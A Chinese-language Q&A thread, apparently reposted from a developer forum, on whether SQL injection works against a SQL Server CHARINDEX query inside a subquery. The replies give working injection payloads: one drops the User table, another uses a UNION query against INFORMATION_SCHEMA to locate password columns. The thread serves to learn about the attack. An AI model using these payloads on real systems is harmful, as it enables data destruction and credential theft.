我想提高我對可能存在的 SQL 注入攻擊的了解。我知道引數化完全避免了 SQL 注入風險，因此應該在任何地方應用。然而，當有人問我如何利用它時，我喜歡得到答案。
我知道基本的 SQL 注入攻擊是如何作業的。例如，一個網站有一個頁面website.com/users/{id}，其中 id 是用戶的主鍵。如果我們完全信任輸入并簡單地將 id 引數傳遞給正在執行的查詢，這可能會產生可怕的后果。在website.com/users/1查詢的情況下變成SELECT * FROM [User] WHERE [Id] = 1. 但是，在website.com/users/1;DROP TABLE User查詢變成的情況下SELECT * FROM [User] WHERE [Id] = 1;DROP TABLE User，導致令人討厭的結果。
但是，我讀到的幾乎所有 SQL 注入攻擊都依賴于WHERE在注入之前存在的子句。幾乎總是，注入以某種形式作業;Injected statement--。
我的問題是，是否也可以在給定如下查詢的情況下執行 SQL 注入攻擊？或者從更廣泛的意義上說：整個陳述句是否必須編譯才能進行 SQL 注入攻擊，或者陳述句中的任何錯誤是否會導致攻擊失敗？如果每個 DBMS 的答案不同，請指定 DBMS。
在下面的查詢中，注入應該發生在從用戶輸入復制的CHARINDEX('input', [Name]) > 0whereinput中。
SELECT
*
FROM (
SELECT TOP 10
*
FROM
[User]
WHERE
CHARINDEX('input', [Name]) > 0
) AS [User]
LEFT JOIN
[Setting] ON [Setting].[UserId] = [User].[Id]
我得到的最遠的是下面的查詢，但它回傳的錯誤Missing end comment mark '*/'似乎完全阻止了任何攻擊。
SELECT
*
FROM (
SELECT TOP 10
*
FROM
[User]
WHERE
CHARINDEX('input', '') > 0) AS [User];DROP TABLE [NonExistentTable]/*, [Name]) > 0
) AS [User]
LEFT JOIN
[Setting] ON [Setting].[UserId] = [User].[Id]
uj5u.com熱心網友回復：
生成的 SQL 必須被特定的 DBMS 接受才能進行注入，這通常意味著它需要是有效的 SQL，但通常有多種方法可以制作輸入以使其有效，而不管所討論的 SQL 是什么。
如果一行注釋不夠，可以添加額外的陳述句；如果不允許有多個陳述句，UNION則可以使用 a；等等。
確切的細節各不相同，但如果對查詢有足夠的了解（例如，通過泄露給用戶的錯誤細節）或幸運的猜測，通常可以設計出對攻擊者有利的東西。
在您的示例中，請考慮此輸入，它只是重復現有查詢的部分內容：
nonsense', [Name]) > 0
)
) AS [User];
Drop Table [User];
SELECT
*
FROM (
SELECT TOP 10
*
FROM
[User]
WHERE
CHARINDEX('nonsense
這導致以下 SQL：
SELECT
*
FROM (
SELECT TOP 10
*
FROM
[User]
WHERE
CHARINDEX('nonsense', [Name]
)
) AS [User];
Drop Table [User];
SELECT
*
FROM (
SELECT TOP 10
*
FROM
[User]
WHERE
CHARINDEX('nonsense', [Name]) > 0
) AS [User]
LEFT JOIN
[Setting] ON [Setting].[UserId] = [User].[Id]
uj5u.com熱心網友回復：
SQL 注入通常發生在涉及某種字串連接/插入操作的地方。它不一定是WHERE子句。此外，一般來說，攻擊者對洗掉表不感興趣，他想要資訊。如果input換成這個怎么辦：
', '') > 0 UNION ALL SELECT TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME = 'password' --
假設以某種方式顯示了 select 的結果并且還顯示了錯誤訊息，那么, NULL在查詢實際回傳他想要添加的表和列的名稱之前，攻擊者需要幾分鐘來確定他應該添加的數量和位置下一階段進行試探。
轉載請註明出處，本文鏈接：https://www.uj5u.com/gongcheng/316317.html